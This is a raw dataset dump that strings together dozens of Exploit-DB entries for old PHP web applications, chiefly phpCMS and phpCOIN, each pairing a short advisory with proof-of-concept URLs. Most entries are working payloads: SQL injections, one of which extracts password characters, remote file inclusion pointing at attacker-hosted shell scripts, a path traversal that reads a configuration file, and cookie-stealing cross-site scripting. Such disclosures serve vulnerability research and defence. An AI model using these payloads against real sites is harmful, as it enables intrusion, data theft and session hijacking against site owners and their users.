deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28125
Description: PHPClassifieds.Info - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-28
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18713/info

The 'phpclassifieds.info' product is prone to multiple input-validation vulnerabilities. The issues include HTML- and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, control how the site is rendered to the user, or exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/search.php?rate=[sql]
Exploit-DB #29349
Description: phpCMS 1.1.7 - 'class.cache_PHPcms.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/21768/info
      
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
      
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.cache_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
Exploit-DB #29347
Description: phpCMS 1.1.7 - 'class.edit_PHPcms.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/21768/info
    
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.edit_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
Exploit-DB #29348
Description: phpCMS 1.1.7 - 'class.http_indexer_PHPcms.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/21768/info
     
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.http_indexer_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
Exploit-DB #29352
Description: phpCMS 1.1.7 - 'class.layout_PHPcms.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/21768/info
         
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
         
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.layout_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
Exploit-DB #29351
Description: phpCMS 1.1.7 - 'class.lib_indexer_universal_PHPcms.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/21768/info
        
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
        
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.lib_indexer_universal_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
Exploit-DB #29345
Description: phpCMS 1.1.7 - 'class.parser_PHPcms.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/21768/info
  
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.parser_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
Exploit-DB #29350
Description: phpCMS 1.1.7 - 'class.search_PHPcms.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/21768/info
       
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
       
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.search_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
Exploit-DB #29346
Description: phpCMS 1.1.7 - 'class.session_PHPcms.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/21768/info
   
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/include/class.session_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
Exploit-DB #29343
Description: phpCMS 1.1.7 - 'counter.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/21768/info

phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/plugs/counter.php?PHPCMS_INCLUDEPATH=[cmd_url]
Exploit-DB #29344
Description: phpCMS 1.1.7 - 'parser.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-26
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/21768/info
 
phpCMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
Versions 1.1.7 and 1.2.1pl2 are vulnerable; other versions may also be affected.

http://www.example.com/[pc_path]/parser/parser.php?PHPCMS_INCLUDEPATH=[cmd_url]/
Exploit-DB #24782
Description: phpCMS 1.1/1.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-11-26
Author: Cyrille Barthelemy

Exploit:
source: https://www.securityfocus.com/bid/11765/info

It is reported that phpCMS is susceptible to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web pages.

It is reported that in order for phpCMS to be vulnerable, it must be configured with one, or both of 'STEALTH', or 'STEALTH_SECURE' modes being disabled.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

Versions prior to 1.2.1pl1 are reportedly affected by this issue.

http://www.example.com/parser/parser.php?file=<script>alert(document.cookie)</script>
Exploit-DB #34486
Description: phpCMS 2008 - 'download.php' Information Disclosure
Type: webapps
Platform: php
Date: 2009-10-19
Author: Securitylab.ir

Exploit:
source: https://www.securityfocus.com/bid/42514/info

PHPCMS2008 is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.

An attacker can exploit this issue to download local files in the context of the webserver process. This may allow the attacker to obtain sensitive information; other attacks are also possible. 

http://www.example.com/download.php?a_k=Jh5zIw==&i=20&m=2&f=../include/config.inc.php&t=[PII_REDACTED]&ip=127.0.0.1&s=m/&d=1
Exploit-DB #32873
Description: phpCMS 2008 - 'search_ajax.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-17
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/34225/info

PHPCMS2008 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to PHPCMS2008 2009.03.17 are vulnerable. 

http://www.example.com/ask/search_ajax.php?q=s%E6'/**/or/**/(select ascii(substring(password,1,1))/**/from/**/phpcms_member/**/where/**/username=0x706870636D73)>52%23
Exploit-DB #9961
Description: phpCMS 2008 - File Disclosure
Type: webapps
Platform: php
Date: 2009-10-19
Author: Securitylab Security Research

Exploit:
########################## Securitylab.ir ########################
# Application Info:
# Name: phpcms 2008
# Version: All
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Remote File Disclosure Vulnerability
# Risk: Medium
#===========================================================
# http://site.com/[path]/download.php?a_k=Jh5zIw==&i=20&m=2&f=../include/config.inc.php&t=[PII_REDACTED]&ip=127.0.0.1&s=m/&d=1
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################
Exploit-DB #16019
Description: phpCMS 2008 - SQL Injection
Type: webapps
Platform: php
Date: 2011-01-20
Author: R3d-D3V!L

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-{In The Name Of Allah The Mercifull}-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 

[~] Tybe: REMOTE SQL iNJECTioN 
[~] Vendor: www.phpcms.cn

[+] Software: Phpcms 2008 V2
[+] author: ((R3d-D3v!L)) 
[~] 
[+] TEAM: Xp10_hACKEr & 403-T3AM
[~] 
[?] contact: X[at]hotmail.co.jp 
[-] 
[?] Date: 17.jan.2011  
[?] T!ME: 05:15 am GMT  
[?] Home: WwW.XP10.COM 
[^]� Xp10_hAcKEr 
[?] 

====================================================================================== 
# REMOTE SQL iNJECTioN Vulnerabilities 
====================================================================================== 

[*] Err0r C0N50L3:


http://server/bbs/phpcms_th/flash_upload.php?modelid= EV!L INJECT!ON




[*] prove of concept = 


http://server/bbs/phpcms_th/flash_upload.php?modelid=1+order+by+20--    (false)


http://server/bbs/phpcms_th/flash_upload.php?modelid=1+order+by+19--    (TruE)


Already Tested on Win Xp

[~]-----------------------------{((Xp10_hACkEr))}------------------------------------------------
# 
# 
[~] Greetz tO: [dolly &MERNA &po!S!ON Sc0rp!0N & ((hetlar jeddaH))  &(Nochelove) &emeliya & NEX ] 
# 
[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ # 
# 
[~] spechial thanks : ((HITLER JEDDAH & rootshell& DR.DAShER& abo shahd &abo mohammed)) ALL XP10 MEMbers # 
# 
[?]spechial SupP0RT : MY M!ND # � 
# 
[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((R3d D3v!L<---&--->JUPA<---aNd--->Devil ro0t)) # 
# 
[~]spechial FR!ND: XP10.COM -_-_- lurklife.com # 
# 
[~] !'M 4R48!4N 3XPL0!73R. # 
# 
[~]{[(D!R 4ll 0R D!E)]}; # 
# 
[~]---------------------------------------------------------------------------------------------
Exploit-DB #35239
Description: phpCMS 2008 V2 - 'data.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-17
Author: R3d-D3V!L

Exploit:
source: https://www.securityfocus.com/bid/45913/info

PHPCMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

PHPCMS 2008 V2 is vulnerable; other versions may also be affected. 

http://www.example.com/path/data.php?action=get&where_time=-1+union+all+select+1,database()--
Exploit-DB #16027
Description: phpCMS 9.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-01-22
Author: eidelweiss

Exploit:
=================================================================
	phpcms V9 BLind SQL Injection Vulnerability
=================================================================

Software:	phpcms V9
Vendor:		www.phpcms.cn
Vuln Type:	BLind SQL Injection
Download link:	http://www.phpcms.cn/2010/1229/326.html
Author:		eidelweiss
contact:	eidelweiss[at]windowslive[dot]com
Home:		www.eidelweiss.info

Google Dork:	http://www.exploit-db.com/ghdb/3676/	// check here ^_^

References:
http://eidelweiss-advisories.blogspot.com/2011/01/phpcms-v9-blind-sql-injection.html

=================================================================

	exploit & p0c

[!]	index.php?m=content&c=rss&catid=[valid catid]

	Example p0c

[!]	http://host/index.php?m=content&c=rss&catid=10	<= True
[!]	http://host/index.php?m=content&c=rss&catid=-10	<= False

[+]	http://host/index.php?m=content&c=rss&catid=5	<= show MySQL Error (table)

=================================================================

	Nothing Impossible In This World Even Nobody`s Perfect

=================================================================

=========================| -=[ E0F ]=- |=========================
Exploit-DB #2139
Description: PHPCodeCabinet 0.5 - 'Core.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Minion

Exploit:
>From Minion:

PHPCodeCabinet (all versions) is vulnerable to a remote file include.

The vulnerable code is in /include/Beautifier/Core.php

an $BEAUT_PATH Was not properly scrubbed, so they got owned.

Proof of concept:

http://target/phpcodecabinet_directory/include/Beautifier/Core.php?BEAUT_PATH=*evilsite*/Beautifier/HFile.php

HFile.php would be your php shell.

Shouts to XoRcrew & Disruptiv.

# milw0rm.com [2006-08-07]
Exploit-DB #2212
Description: phpCodeGenie 3.0.2 - 'BEAUT_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-18
Author: Kacper

Exploit:
/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- phpCodeGenie <= 3.0.2 (BEAUT_PATH) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: phpCodeGenie v. 3.0.2
- [Script site: http://sourceforge.net/projects/phpcodegenie/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
+++++++++++++++++++++START+++++++++++++++++++++++
vulnerable code => app/common/lib/codeBeautifier/Beautifier/Core.php
line 20-25:
....

include_once($BEAUT_PATH."/Beautifier/HFile.php");
include_once($BEAUT_PATH."/Beautifier/Context.php");

class Core
{
....
+++++++++++++++++++++++++++++++++++++++++++++++++
*/
/*
+++++++++++++++++++++FIX+++++++++++++++++++++++++
app/common/lib/codeBeautifier/Beautifier/Core.php line 20-25:
....
$BEAUT_PATH = LIB_COMPONENT.FILE_SEPARATOR."codeBeautifier";
include_once($BEAUT_PATH."/Beautifier/HFile.php");
include_once($BEAUT_PATH."/Beautifier/Context.php");

class Core
{
....
++++++++++++++++++++THE+END++++++++++++++++++++++
*/
#Exploit:

http://www.site.com/[phpCodeGenie_path]/app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH=[http://www.myevilsite.com/evil_scripts.txt]


# milw0rm.com [2006-08-18]
Exploit-DB #25302
Description: phpCoin 1.2 - 'auxpage.php?page' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-03-29
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/12917/info

Multiple remote input validation vulnerabilities affect phpCoin.

Multiple SQL injection vulnerabilities have been reported. An attacker may leverage these issues to manipulate and view arbitrary database contents.

phpCoin is also affected by a local file include vulnerability. An attacker may leverage this issue to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access. This issue may also be exploited to disclose arbitrary files.

phpCoin 1.2.1b and prior versions are affected by these issues. 

http://www.example.com/auxpage.php?page=../../../some/other/file
Exploit-DB #25175
Description: PHPCOIN 1.2 - 'login.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-01
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/12686/info
 
Multiple remote input-validation vulnerabilities affect phpCOIN because the application fails to properly sanitize user-supplied input before using it to carry out critical functionality.
 
An attacker may leverage these issues to manipulate and view arbitrary database contents (by exploiting various SQL-injection issues) and to run arbitrary script code in the browser of an unsuspecting user (by exploiting multiple cross-site scripting vulnerabilities). 

http://www.example.com/phpcoin/login.php?w=user&o=login&e=u
%22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E
Exploit-DB #25568
Description: phpCOIN 1.2 - 'login.php?PHPcoinsessid' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-28
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13433/info

PHPCoin is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/login.php?w=user&o=login&phpcoinsessid=SQL_INJECTION'
Exploit-DB #25174
Description: PHPCOIN 1.2 - 'mod.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-01
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/12686/info

Multiple remote input-validation vulnerabilities affect phpCOIN because the application fails to properly sanitize user-supplied input before using it to carry out critical functionality.

An attacker may leverage these issues to manipulate and view arbitrary database contents (by exploiting various SQL-injection issues) and to run arbitrary script code in the browser of an unsuspecting user (by exploiting multiple cross-site scripting vulnerabilities). 


http://www.example.com/phpcoin/mod.php?mod=helpdesk&mode=new
%22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E

http://www.example.com/phpcoin/mod.php?mod=mail&mode=reset&w=user
%22%3E%3Cscript%3Edocument.write(document.cookie)%3C/script%3E
Exploit-DB #27496
Description: PHPCOIN 1.2 - 'mod.php?fs' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17279/info
 
phpCOIN is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Versions 1.2.2 and prior are vulnerable; other versions may also be affected.

http://www.example.com/mod.php?mod=orders&mode=view&sb=1&so=A&fb=&fs=[XSS]
Exploit-DB #27495
Description: PHPCOIN 1.2 - 'mod_print.php?fs' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17279/info

phpCOIN is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 1.2.2 and prior are vulnerable; other versions may also be affected.

http://www.example.com/mod_print.php?mod=helpdesk&sb=&so=&fb=&fs=[XSS]
Exploit-DB #25569
Description: phpCOIN 1.2 Pages Module - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-04-28
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13433/info
 
PHPCoin is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/mod.php?mod=pages&mode=list&dtopic_id=SQL_INJECTION'&phpcoinsessid=fa7905a749dbdc698838930de0f99f4b
http://www.example.com/mod.php?mod=pages&mode=list&dcat_id=SQL_INJECTION'&phpcoinsessid=fa7905a749dbdc698838930de0f99f4b